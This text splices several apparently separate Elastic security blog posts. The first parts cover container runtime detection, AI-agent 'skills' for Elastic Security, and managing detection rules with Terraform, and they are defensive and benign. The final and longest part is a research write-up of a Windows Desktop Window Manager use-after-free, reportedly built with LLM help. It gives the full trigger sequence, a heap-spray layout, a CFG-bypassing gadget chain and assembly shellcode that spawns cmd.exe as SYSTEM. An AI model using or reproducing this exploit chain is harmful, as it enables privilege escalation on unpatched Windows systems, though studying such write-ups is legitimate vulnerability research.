Defend for Containers in Elastic Stack 9.3.0 includes container runtime detection as a core component of Linux detection engineering. It features a clear scope, a policy-driven configuration model, and runtime telemetry designed specifically for containerized workloads.

In this post, we examined how to deploy Defend for Containers, how its policy model is structured, and how runtime events are generated and enriched with container and orchestration context. We explored the structure of process and file events, capability metadata, interactive execution signals, and container-specific fields that allow detections to be expressed in a workload-aware manner.

The key takeaway is that effective container detection requires reasoning about runtime behavior in context: processes, file modifications, privileges, and workload identity must be evaluated together. Defend for Containers provides the necessary telemetry to make that possible.

In the next article, we will build on this foundation by walking through a realistic container attack scenario and demonstrating how Defend for Containers telemetry surfaces each stage of compromise in practice.

Elastic Agent Skills are open source packages that give your AI coding agent native Elastic expertise. If you're already using Elastic Agent Builder, you get AI agents that work natively with your security data. Agent Skills are for the other side: bringing that same Elastic Security knowledge to the external AI tools your team already uses, like Cursor, Claude Code, or GitHub Copilot.

If you use an AI coding agent and want to evaluate Elastic Security, or you're a security team that wants to get up and running with Elastic Security fast without navigating setup docs, these are for you. Today we're shipping security skills that take you from zero to a fully populated Elastic Security environment, without leaving your integrated development environment (IDE).

Before you dive in, note that this is a v0.1.0 release. Also, review this documentation for steps to get started and important security considerations.

Step 1: Create a security project

You open your AI coding agent and prompt: Create a Security project on Elastic Cloud.

The create-project skill provisions an Elastic Cloud Serverless Security project via the Elastic Cloud API, handles credentials securely, and hands you back your Elasticsearch and Kibana URLs.

Elastic Cloud Serverless supports regions across Amazon Web Services (AWS), Google Cloud Platform (GCP), and Azure, so you can pick whichever fits your environment.

One prompt. Project ready.

Step 2: Generate sample data

An empty Elastic Security project isn't very convincing. No alerts, no timelines, no process trees. You need data, but you don't always want to enable real sources of data before you've had a chance to explore.

The generate-security-sample-data skill populates your project with realistic, Elastic Common Schema–compliant (ECS-compliant) security events and synthetic alerts across four attack scenarios:

• Windows ransomware chain: Word macro to PowerShell to ransomware deployment, complete with process trees that light up the Analyzer view.
• Credential access: LSASS memory dumps and credential harvesting.
• AWS cloud privilege escalation: IAM policy manipulation and unauthorized access key creation.
• Okta identity attack: Multifactor authentication (MFA) factor deactivation and suspicious authentication patterns.

These aren't random events. Every alert maps to MITRE ATT&CK techniques. Process trees have proper entity IDs so the Analyzer renders real parent-child relationships. Attack Discovery picks up the correlated threat narratives. You get the experience of a live environment without needing one.

When you're done exploring, ask your AI coding agent to remove the sample data. All sample events, alerts, and cases are cleaned up without affecting the rest of your environment.

Step 3: What's next after sample data

Once your environment is populated, the same AI coding agent can help you work with it. We're also shipping skills for alert triage (fetch and investigate alerts, classify threats, and acknowledge alerts), detection rule management (find noisy rules, add exceptions, and create new coverage), and case management (create and track security operations center [SOC] cases and link alerts to incidents).

Why skills, not just docs?

Elastic's API documentation is public. Your AI agent can already read it. So why do skills matter?

Skills matter because docs describe individual endpoints and encode workflows. There's a real gap between knowing that POST /api/detection_engine/signals/search exists and knowing that you need to fetch the oldest unacknowledged alert, query the process tree and related alerts within a five-minute window of the trigger time, check for an existing case before creating a new one, attach the alert with its rule UUID, and then acknowledge all related alerts on the same host, in that order, with the right field names, across three different APIs.

Skills also encode what not to do: Never display credentials in chat, confirm before creating billable resources, and handle Serverless-specific API quirks. This is the expert knowledge that turns a general-purpose AI agent into one that actually knows Elastic.

Get started

All skills are open source and work with any supported AI coding agent:

• Cursor
• Claude Code
• GitHub Copilot
• Windsurf
• Cline
• OpenCode
• Gemini CLI

Open a terminal in your project workspace and run:

Or install specific skills:

Check out the full catalog at github.com/elastic/agent-skills.

This article highlights how Elastic's new Terraform resources for security detection rules and exceptions expand practitioners' capabilities for detection-as-code deployment. Below you will find examples of defining and deploying your detection artifacts in Elastic Security with Terraform. We will also show how you can use Elastic's AI Agent to help quickly create the Terraform configuration for your custom rules. Finally, it also provides guidance on when to use the Elastic Stack Terraform provider versus tools from the detection-rules repository.

Managing Elastic with Terraform

Terraform is a tool created by HashiCorp (now IBM) to manage infrastructure in the cloud, or in self-managed environments, as code. With a simple stroke of HCL (HashiCorp configuration language), users can define the desired state of their cloud provider infrastructure, application, configuration, and in Elastic’s case, cluster settings, configuration, indices or streams, and now also detection rules and alerts, as fully configurable, traceable, and reviewable code in your favorite source management tool.

The Elastic Stack Terraform provider helps search, observability, and security professionals, as well as DevOps and SREs, configure their Elastic clusters with the right indices and mappings for their search use cases, SLOs or Fleet policies for their observability use case, and now, detection rules, alerts, and exceptions for their security use case. It can easily configure those, and many more objects and settings in the Elastic Stack.

Security Detection rules - now as code with Terraform

With V0.12.0 and V0.13.0 of the Elastic Stack Terraform provider, users can now manage their Detection rules and rule exceptions using Terraform. This is especially useful for users who have already been managing their Elastic deployments with Terraform and want to extend it to Detection rules.

Using the Elastic Stack Terraform Provider to deploy Rules and Exceptions

Let's look at an example of using the Elastic Stack Terraform Provider to deploy an Elastic Security Rule. In this example, we want to detect Windows Service Accounts that are performing an interactive logon on a host.

Service accounts typically have elevated privileges and rarely-rotated passwords, making them high-value targets for attackers. Since these accounts should only perform automated service logons, an interactive logon can indicate credential theft or misuse.

The first thing we need to think of is what telemetry we need to see which logons are happening on our host. Logon events are logged by the Windows Local Security Authority Subsystem Service (LSASS) whenever a logon session is successfully created on the machine. We can pick this up via an Elastic Agent with the Windows Integration installed.

The data will be written by the Elastic Agent into the system.security Data Stream, we can match it with this index pattern: logs-system.security-*. We also know that Logon events generate event code 4624 and that, in our example, the service account name starts with svc or ends with $. In addition, an interactive login will have a logon type of interactive.

So, we can match these events with an ES|QL rule like:

FROM logs-system.security-\*  
| WHERE event.code \== "4624" AND (user.name LIKE "svc\_\*" OR user.name LIKE "svc-\*"  
     OR user.name LIKE "\*\_svc" OR user.name LIKE "\*$")  
     AND winlog.logon.type IN ("Interactive", "RemoteInteractive",  
         "CachedInteractive", "CachedRemoteInteractive")  

There may be situations where we don't want this rule to run, for example, if there is a legacy application that we want to permit interactive logons from. So, we can create an Exception Item, like: user.name IS svc\_sqlbackup.

Now that we know what we want the Rule and its Exceptions to look like, we can use the Terraform provider's elasticstack_kibana_security_detection_rule, elasticstack_kibana_security_exception_list, and elasticstack_kibana_security_exception_item resources to define them in code.

Turning ES|QL rules into Terraform's configuration syntax, HCL, is a great use case for Elastic's AI Agent.
Elastic AI Agent capabilities help accelerate security operations across a wide range of tasks - from alerts triage and incident response to helping with detection lifecycle tasks.

Simply open AI Agent, and ask it to create Terraform configurations based on your query and exceptions.

You should end up with something like this:

Here's a closer look at the code.

There are a few elements to call out specifically:

• type: The type of exception list. For example: detection, endpoint, or endpoint_trusted_apps
• namespace_type: Determines whether the exception list is available in all Kibana spaces or just the single space in which it was created.

resource "elasticstack_kibana_security_exception_list" "svc_account_interactive_login" {
  list_id        = "svc-account-interactive-login-exceptions"
  name           = "Service Account Interactive Login Exceptions"
  description    = "Documented exceptions for service accounts that legitimately require interactive logon"
  type           = "detection"
  namespace_type = "single"
  tags           = ["service-accounts","windows","authentication"]
}  

This creates a new exception list.

Of note, the entries array contains the conditions under which the exception applies.

resource "elasticstack_kibana_security_exception_item" "svc_sqlbackup" {
  list_id        = elasticstack_kibana_security_exception_list.svc_account_interactive_login.list_id
  item_id        = "svc-sqlbackup-exception"
  name           = "svc_sqlbackup - Legacy SQL Backup Agent"
  description    = "Approved exception: Legacy SQL backup agent requires interactive logon per vendor documentation."
  type           = "simple"
  namespace_type = "single"
  tags           = ["sql","backup","approved"]
entries = [
    {
      field    = "user.name"
      type     = "match"
      operator = "included"
      value    = "svc_sqlbackup"
    }
  ]
} 

This adds our exception: that we don't want the rule to run if the username is svc\_sqlbackup.

Of note, the elements from enabled to the technique array are examples of the other properties that can be set on a rule.

resource "elasticstack_kibana_security_detection_rule" "svc_account_interactive_login" {
  name        = "Service Account Interactive Login"
  description = <<-EOT
    Detects interactive logins by service accounts. Service accounts should authenticate
    via service (Type 5) or batch (Type 4) logon types, not interactively. Interactive
    logins by service accounts may indicate credential theft or misuse.

    This rule identifies service accounts by common naming conventions (svc_*, svc-*,
    *_svc) and managed service accounts (*$).
  EOT

  type     = "esql"
  language = "esql"
  query    = <<-EOT
    FROM logs-system.security-* metadata _id, _version, _index
    | WHERE event.code == "4624"
      AND (user.name LIKE "svc_*" OR user.name LIKE "svc-*" OR user.name LIKE "*_svc" OR user.name LIKE "*$")
      AND winlog.logon.type IN ("Interactive", "RemoteInteractive", "CachedInteractive", "CachedRemoteInteractive")
    | KEEP @timestamp, host.name, user.name, user.domain, winlog.logon.type, source.ip, _id, _version, _index
  EOT

  enabled    = true 
  severity   = "high"
  risk_score = 73

  from     = "now-6m"
  to       = "now"
  interval = "5m"

  author  = ["Security Team"]
  license = "Elastic License v2"
  tags    = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Identity and Access Audit",
    "Tactic: Initial Access",
    "Data Source: Windows Security Event Log"
  ]

  false_positives = [
    "Service accounts with documented exceptions that require interactive logon",
    "Break-glass procedures during incident response",
    "Initial service account configuration or troubleshooting"
  ]

  references = [
    "https://learn.microsoft.com/en-us/entra/architecture/service-accounts-on-premises",
    "https://blog.quest.com/10-microsoft-service-account-best-practices/",
    "https://attack.mitre.org/techniques/T1078/002/"
  ]

  threat = [
    {
      framework = "MITRE ATT&CK"
      tactic = {
        id        = "TA0001"
        name      = "Initial Access"
        reference = "https://attack.mitre.org/tactics/TA0001/"
      }
      technique = [
        {
          id        = "T1078"
          name      = "Valid Accounts"
          reference = "https://attack.mitre.org/techniques/T1078/"
          subtechnique = [
            {
              id        = "T1078.002"
              name      = "Domain Accounts"
              reference = "https://attack.mitre.org/techniques/T1078/002/"
            }
          ]
        }
      ]
    }
  ]

  exceptions_list = [
    {
      id             = elasticstack_kibana_security_exception_list.svc_account_interactive_login.id
      list_id        = elasticstack_kibana_security_exception_list.svc_account_interactive_login.list_id
      namespace_type = elasticstack_kibana_security_exception_list.svc_account_interactive_login.namespace_type
      type           = elasticstack_kibana_security_exception_list.svc_account_interactive_login.type
    }
  ]
}

Finally, we define the rule, including the ES|QL query we provided earlier and MITRE ATT&CK classification.

You can add these resource definitions into one configuration file (perhaps security-rules.tf), add it to your configured Elastic Stack terraform directory, and then run the `terraform apply` command and parameter to deploy the Rule.

terraform apply --auto-approve

Since terraform apply runs a plan before making changes, it will automatically detect if anyone has edited a rule directly in Kibana and show you exactly what drifted: no manual exports or diffs needed.

After Terraform has made the changes, we can see the Rule in Kibana:

We can also see the Exception List:

This way, you can define your detections in Terraform and benefit from automatic deployment along with other objects you manage with Terraform.

Terraform workspaces for multi-space Elastic deployments

Terraform uses a concept called “workspaces” allowing you to reuse the same infrastructure code for multiple deployments, for example, a dev, testing, and production environment. This concept is useful for managing rules across multiple deployments and/or Kibana spaces.

Managing detections with Terraform and Detections as code

Elastic also has Detections as Code functionality available via our open detection-rules repository.

The two tools have complementary strengths and are aligned with different user profiles and workflow stages for implementing Detections as Code.

Detection as Code features in detection-rules

• Best fit user profile: Detection engineers
• Intended workflow phase: Rule authoring and validation

With dual-sync between your GitHub repo and Kibana, linting, schema validation, and unit-testing, detection-rules functionality is well-suited to experienced Detection Engineers comfortable with Git-based version control.

Elastic Stack Terraform Provider

• Best fit user profile: DevOps engineers / Platform teams
• Intended workflow phase: Deployment and operations

For users already using Terraform to manage their Elastic clusters, the Terraform Provider is a great fit, bringing consistency to all "x-as-code" operations and familiar state management and parameterization.

The key differences and optimal use cases for each tool are detailed in the comparison table below:

In short, Detection Engineers are better served by the specialized creation and testing tools provided in the detection-rules repository, while DevOps/Platform Teams should use the Terraform provider to manage detection rules as part of their broader infrastructure-as-code strategy for deployment and operations.

Try it out

To experience the full benefits of what Elastic has to offer for detection engineers, upgrade to 9.3 or start your Elastic Security free trial. Visit elastic.co/security to learn more and get started.

The release and timing of any features or functionality described in this post remain at Elastic's sole discretion. Any features or functionality not currently available may not be delivered on time or at all.

Patch diffing has long fascinated me. I think part of it has to do with the race against the clock, reversing, exploiting, and trying to attain that “1day” exploit status. For advanced Windows targets, Valentina Palmiotti and Ruben Boonen proved that this was already possible nearly 3 years ago. But, they are some of the world's most talented exploit devs. Can LLMs raise the capability floor for us mere mortals? Fortunately, and maybe a bit alarmingly, the answer is yes.

The Hunt

When the bulletin for the January 2026 Patch Tuesday dropped, I kicked off my search to identify one of the patched vulnerabilities, and (hopefully) develop a working exploit for it. Top on the target list were any vulnerabilities already known to be exploited in the wild. January patches included an in-the-wild information leak vulnerability in Desktop Window Manager (DWM), which caught my eye. It also included a second DWM vulnerability which could lead to local privilege escalation. Historically, DWM has been a popular target for local privilege escalation. Sometimes it can be tricky to identify the exact patched component, but for DWM, dwmcore.dll is always a safe bet.

After training Ghidra on the files and extracting BSim vectors for every function, it becomes quite easy to highlight the differences between them. Not to mention, many Microsoft-patched vulnerabilities come alongside new feature flags. Needless to say, Opus 4.5 made quick work of the diff and identified one of the vulnerabilities within minutes.

======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll 
======================================================================

----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
  dwmcore_vuln.dll                      dwmcore_patched.dll                        Sim  Jaccard
----------------------------------------------------------------------------------------------------
  FUN_1802e7842                         FUN_1802e7842                           0.1191   0.0632
  FUN_1802e92d6                         FUN_1802e92d6                           0.1470   0.0722
  FUN_1802e5faa                         FUN_1802e5faa                           0.1741   0.0769
  ~CDelegatedInkCanvas                  ~CDelegatedInkCanvas                    0.7556   0.6047
  GetBufferedOutputTransformed          GetBufferedOutputTransformed            0.7628   0.6154
  FrameStarted                          FrameStarted                            0.7833   0.6429
  ~CSynchronousSuperWetInk              ~CSynchronousSuperWetInk                0.8018   0.6667
  FUN_1802f5aa2                         FUN_1802f5aa2                           0.9127   0.8393
  FUN_1802f57d2                         FUN_1802f5d72                           0.9127   0.8393
======================================================================

From here, I have to say that the time to build a functional exploit was painfully slower than I would have hoped. I spent many long nights and weekends poking and prodding the model along. A lot of this came down to my own unfamiliarity with the bug class and subsystem. Eventually, we did prevail and get RCE from low privilege into DWM and to SYSTEM. In the process, I discovered multiple novel exploitation techniques, like the GetRECT spray, new gadget chains, and a DWM-to-SYSTEM path. However, with these techniques (and some other tooling) in hand and newer model releases like Opus 4.6, the time from discovering a UAF vulnerability in DWM to functional exploit dropped from 3 weeks to a matter of hours.

The Bug

The vulnerability is a Use-After-Free in CSynchronousSuperWetInk::~CSynchronousSuperWetInk. The destructor conditionally removes the object from CSuperWetInkManager based on the return value of IsSuperWetCompatible().

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    this->vtable = &_vftable_;
    bool bVar2 = IsSuperWetCompatible(this);
    if (bVar2) {
        CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
    }
    // ... cleanup continues
}

The vulnerable destructor in dwmcore.dll version 10.0.26100.7309.

IsSuperWetCompatible Condition

bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
    if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
        this->clipEntry != NULL && this->comObject != NULL) {
        return true;
    }
    return false;
}

The IsSuperWetCompatible condition in dwmcore.dll version 10.0.26100.7309.

The function returns true only when LookupMode equals 2, or notifier1 is set, AND both clipEntry and comObject are non-null.

The Bug

An attacker can:

1. Register a CSynchronousSuperWetInk with the manager (requires LookupMode=2 during Draw())
2. Change LookupMode to 0 via CMD_SET_PROPERTY
3. Trigger destruction via CMD_RELEASE_RESOURCE
4. IsSuperWetCompatible() returns FALSE → RemoveSource() is skipped
5. A dangling pointer remains in CSuperWetInkManager::localStrokesVector

When DWM later iterates this vector (e.g., in DirtyActiveInk), it dereferences the freed object's vtable, leading to controlled code execution.

The Fix

The patch adds a feature flag (Feature_1732988217). When enabled, RemoveSource() is called unconditionally, regardless of IsSuperWetCompatible(). This ensures the object is always properly unregistered from the manager during destruction, eliminating the dangling pointer.

void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    *(undefined ***)this = &_vftable_;
    bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
    if (!bVar2) {
        bVar2 = IsSuperWetCompatible(this);
        if (!bVar2) goto LAB_1802a9b1a;  // Skip RemoveSource only if feature disabled AND !compatible
    }
    CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
    // ... cleanup continues
}

The fixed destructor in dwmcore.dll version 10.0.26100.7623.

The Exploit

The UAF can be triggered from a regular user-mode application via the DirectComposition API. The attack requires no special privileges.

Prerequisites

1. D3D11/DXGI Infrastructure: Create a D3D11 device with BGRA support and a swap chain for a visible window.
2. DirectComposition Device: Initialize via DCompositionCreateDevice() with the DXGI device.
3. NtDComposition Syscall Access: Hook or directly call NtDCompositionProcessChannelBatchBuffer and NtDCompositionCommitChannel via win32u.dll to inject raw batch buffer commands.

Trigger Sequence

Step 1: Create Ink Trail (Allocate CSynchronousSuperWetInk)

Query IDCompositionInkTrailDevice from the DirectComposition device, then call CreateDelegatedInkTrailForSwapChain() or CreateDelegatedInkTrail(). This allocates a CSynchronousSuperWetInk object (resource type 0xa8) in dwm.exe's heap.

Step 2: Create Visual and Set LookupMode=2

Inject batch buffer commands to:

1. Create a CSuperWetInkVisual (type 0xa5) with CMD_CREATE_RESOURCE (0x02)
2. Connect visual to ink source: CMD_SET_REFERENCE (0x10) with propId 0x34
3. Set LookupMode=2 on the ink source via CMD_SET_PROPERTY (0x0B) with propId 10
4. Connect to composition tree: CMD_SET_REFERENCE to handles 1 and 2 (composition target / marshaler) with propId 0x34

LookupMode=2 ensures IsSuperWetCompatible() returns TRUE during Draw(), which registers the object with CSuperWetInkManager::localStrokesVector.

Step 3: Render Frames to Register with Manager

Present multiple frames (IDXGISwapChain::Present) and commit DirectComposition changes. This triggers DWM's render loop, which calls into the ink infrastructure and registers the CSynchronousSuperWetInk pointer in the manager's internal vector.

Step 4: Set LookupMode=0 (Bypass Removal Check)

Inject CMD_SET_PROPERTY to change LookupMode to 0. Now IsSuperWetCompatible() will return FALSE because:

if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)

With LookupMode = 0 and no notifier, the first condition fails.

Step 5: Release Ink Trail (Create Dangling Pointer)

1. Disconnect visual references: CMD_SET_REFERENCE with refHandle=0 for all connections
2. Release the IDCompositionDelegatedInkTrail interface

When the destructor ~CSynchronousSuperWetInk runs:

• It calls IsSuperWetCompatible() which returns FALSE (LookupMode=0)
• RemoveSource() is SKIPPED
• The object is freed but its pointer remains in CSuperWetInkManager::localStrokesVector

Step 6: Trigger DirtyActiveInk (Use-After-Free)

Continue presenting frames and invalidating the window. DWM's composition loop calls CSuperWetInkManager::DirtyActiveInk(), which iterates localStrokesVector and dereferences the dangling pointer:

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);

Crash Behavior

Without a heap spray, DWM crashes when accessing freed memory:

 # Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a

If the freed memory is reclaimed by another object (e.g., CInteractionTrackerScaleAnimation), the crash occurs at an unexpected vtable:

kd> dps rcx
00000201`fbef65f0  00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24

By controlling what data reclaims the freed allocation, an attacker can craft a fake vtable and achieve arbitrary code execution via the virtual call at vtable+0x50.

Heap Spray

To exploit the UAF, we must reclaim the freed CSynchronousSuperWetInk allocation with attacker-controlled data containing a fake vtable. This section documents the CRegionGeometry RECT buffer spray technique we refer to as GetRECT.

Target Object Properties

Spray Primitive: CRegionGeometry RECT Buffer

The spray uses CRegionGeometry resources (type 0x81) with RECT array data:

Allocation Chain:

dcomp.dll:   SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase:  CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
             → std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)

The RECT buffer is written via CMD_SET_BUFFER_PROPERTY (0x0F) with propId 5:

struct CmdSetResourceBufferProperty {
    uint32_t cmdId;      // 0x0F
    uint32_t handle;     // Resource handle
    uint32_t propId;     // 5 for RECT array
    uint32_t dataSize;   // 288 for 18 RECTs
    // Variable-length RECT data follows (4-byte aligned)
};

RECT Layout for Fake Object

The 18 RECTs (288 bytes) provide full control over the reclaimed memory:

struct SprayRECT {
    int32_t left;    // +0x00 within RECT
    int32_t top;     // +0x04
    int32_t right;   // +0x08
    int32_t bottom;  // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields

// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)

Helper to write 64-bit values into adjacent RECT fields:

static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
    *lo = (int32_t)(val & 0xFFFFFFFF);
    *hi = (int32_t)(val >> 32);
}

Exploitation Primitive

The UAF gives us a controlled vtable call with RCX pointing to our sprayed object. When DirtyActiveInk iterates the dangling pointer:

pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)();  // call [[spray]+0x50] with RCX = spray

Call site stack:

00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c

Register state at dispatch:

• RCX = pointer to sprayed object (our controlled 288 bytes)
• RIP = [[spray]+0x50] (function pointer from fake vtable)

Target Function Constraints

There are initially two restrictions on what we can call:

1. The target must be in the CFG bitmap (marked as valid call target)
2. The target must have a pointer to it (in IAT, vtable, or other readable memory)

We cannot directly call arbitrary addresses; only functions that satisfy both conditions.

Gadget Chain: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect

With the UAF giving us a controlled vtable call (RIP = [[spray]+0x50], RCX = spray), the remaining challenge is chaining CFG-valid gadgets to achieve arbitrary code execution. Direct shellcode execution is blocked by CFG, and we have no heap address leak. We developed a novel gadget chain that solves both problems to achieve code execution, but it required 2 successful exploit attempts, lowering the reliability. Therefore, we pivoted to a known public technique using two Windows system DLL gadgets: __fnINSTRING (user32.dll) and CStdAsyncStubBuffer2_Disconnect (combase.dll).

Stage 1: __fnINSTRING - Kernel Callback Dispatch Without a Leak

The Windows kernel communicates back to user mode through the KernelCallbackTable (KCT), a function pointer table stored in the PEB at offset +0x58. Each entry points to a __fn* handler in user32.dll. These functions are CFG-valid call targets and have pointers to them in readable memory (the KCT itself), satisfying both constraints.

We point the fake vtable at &KCT[fnINSTRING_index] - 0x50. When DirtyActiveInk dereferences [[spray]+0x50], it reads the KCT entry and dispatches to __fnINSTRING:

[[spray]+0x50]
  = [KCT_entry_addr - 0x50 + 0x50]
  = [KCT_entry_addr]
  = &__fnINSTRING

What makes this useful is what __fnINSTRING does internally. It treats its argument (our spray buffer) as a _CAPTUREBUF structure and calls FixupCallbackPointers before dispatching the inner function. FixupCallbackPointers reads a fixup table from the buffer and converts relative offsets into absolute addresses by adding the buffer's base address:

// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
    if (buf->guard != 0) return;  // already fixed up - skip
    int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
    for (int i = 0; i < buf->fixupCount; i++) {
        int32_t* target = (int32_t*)((char*)buf + fixups[i]);
        *(uint64_t*)target += (uint64_t)buf;  // relative → absolute
    }
}

This eliminates the need for a heap address leak. We embed relative offsets in the spray buffer, and FixupCallbackPointers patches them to absolute pointers at runtime using the buffer's own address. After fixup, __fnINSTRING dispatches the inner function pointer at +0x48 with the arguments at +0x28 (RCX), +0x30 (EDX), +0x38 (R8), and +0x50 (R9).

We set the inner function to CStdAsyncStubBuffer2_Disconnect.

Stage 2: CStdAsyncStubBuffer2_Disconnect - Two Chained Vtable Calls

CStdAsyncStubBuffer2_Disconnect is exported from combase.dll, making it CFG-valid with a stable address. Its disassembly reveals a useful primitive: two sequential vtable dispatches with preserved argument registers:

; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV  RBX, RCX             ; save this
MOV  RCX, [RCX-8]         ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ   skip1
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x20]      ; vtable[4]
CALL guard_dispatch_icall  ; CALL #1: [[this-8]+0x20]  ← VirtualProtect

skip1:
XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ   skip2
MOV  RAX, [RCX]           ; vtable
MOV  RAX, [RAX+0x10]      ; vtable[2]
CALL guard_dispatch_icall  ; CALL #2: [[[this+0x10]]+0x10]  ← shellcode

skip2:
ADD  RSP, 0x20
POP  RBX
RET

RDX, R8, and R9 are preserved through both calls, arriving untouched from __fnINSTRING's argument setup. This gives us full control over the first three arguments to both vtable calls.

Vtable Call #1: VirtualProtect → RWX

We construct a self-referential fake object at +0xC8 in the spray buffer: [+0xC8] points to itself (after fixup), so dereferencing [RCX] → [RCX+0x20] reads VirtualProtect's address from +0xE8. The arguments (preserved from __fnINSTRING dispatch) are:

After this call, the spray buffer's memory page is marked RWX, and the CFG bitmap is updated to allow execution from this region.

Vtable Call #2: Inline Shellcode

After VirtualProtect returns, Disconnect loads [this+0x10] into RCX for the second vtable dispatch:

XOR  ECX, ECX
XCHG [RBX+0x10], RCX      ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ   skip2                 ; non-zero → take the call
MOV  RAX, [RCX]            ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV  RAX, [RAX+0x10]       ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall   ; call base+0xD0

The pointer chain resolves step by step:

1. [this+0x10] = [base+0x90] = base+0xA0 (fake_obj_2)
2. [RCX] = [base+0xA0] = base+0xA8, fake_obj_2's vtable pointer (after fixup)
3. [RAX+0x10] = [base+0xB8] = base+0xD0, vtable_2's third entry, pointing at our shellcode

The final CALL guard_dispatch_icall dispatches to base+0xD0, our inline shellcode, now both executable and CFG-valid thanks to the preceding VirtualProtect call.

Shellcode Layout

The shellcode is split into two phases because the VirtualProtect address data sits at +0xE8 (used as vtable_1[0x20] by call #1), creating a gap in the middle of our executable region:

Phase 1 (+0xD0, 22 bytes): Saves RCX (base+0xA0) into RBX for later address arithmetic, allocates shadow space, loads SW_SHOW (5) into RDX, loads the absolute address of WinExec via movabs RAX, then jumps over the 8-byte data gap at +0xE8:

mov  rbx, rcx              ; save base+0xA0 for address math
sub  rsp, 0x28             ; shadow space
push 5
pop  rdx                   ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp  +0x0A                 ; skip over +0xE8 data → land at +0xF0

Phase 2 (+0xF0): Calls WinExec with a RIP-relative pointer to the "cmd.exe\0" string embedded at the end of the shellcode, defuses the spray for safe re-entry, then performs a stack fixup to return directly to DWM's composition loop:

lea  rcx, [rip+0x22]      ; rcx = &"cmd.exe"
call rax                   ; WinExec("cmd.exe", SW_SHOW)

; Defuse: rewrite fake vtable so re-entry is harmless
lea  rax, [rbx+0x78]       ; rax = address of the ret below
mov  [rbx-0x48], rax       ; [base+0x58] = ret_gadget
lea  rax, [rbx-0x98]       ; rax = base+0x08
mov  [rbx-0xA0], rax       ; [base+0x00] = base+0x08 (new fake vtable)

; Stack fixup: skip Disconnect + __fnINSTRING return frames
add  rsp, 0xB8             ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor  eax, eax              ; zero return value
ret                        ; return directly to DWM composition loop
; "cmd.exe\0" embedded here

The add rsp, 0xB8 improves reliability. A naive add rsp, 0x28 would return into CStdAsyncStubBuffer2_Disconnect, which would then return into __fnINSTRING, which calls NtCallbackReturn. This kernel callback return path can be fragile in the context of a hijacked call. By adding an extra 0x90 to the stack adjustment, the shellcode skips past both intermediate frames entirely and returns directly to DirtyActiveInk's caller in the DWM composition loop.

Safe Re-entry: Defusing the Spray

DWM's DirtyActiveInk may iterate the dangling pointer more than once. Without defusing, each re-entry would re-trigger the full chain and crash. The shellcode rewrites the spray's vtable pointer so that subsequent dereferences take a harmless path:

1. [base+0x00] is overwritten to base+0x08 (new fake vtable)
2. [base+0x58] is overwritten to the address of a ret instruction

On re-entry: [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret. The vtable call returns immediately. __fnINSTRING is never re-invoked because the vtable no longer points at the KCT entry.

Complete Spray Layout

The full 288-byte spray buffer (18 RECTs) after FixupCallbackPointers:

Full Chain Summary

DirtyActiveInk iterates dangling pointer
  → [[spray+0x00]+0x50] = __fnINSTRING(spray)
    → FixupCallbackPointers: 8 relative offsets → absolute
    → Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
      → Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
        → Spray buffer page is now RWX, CFG bitmap updated
      → Vtable call #2: shellcode at base+0xD0
        → WinExec("cmd.exe", SW_SHOW)
        → Defuse: rewrite vtable for safe re-entry
        → Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
      → RET directly to DWM composition loop
    → DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return

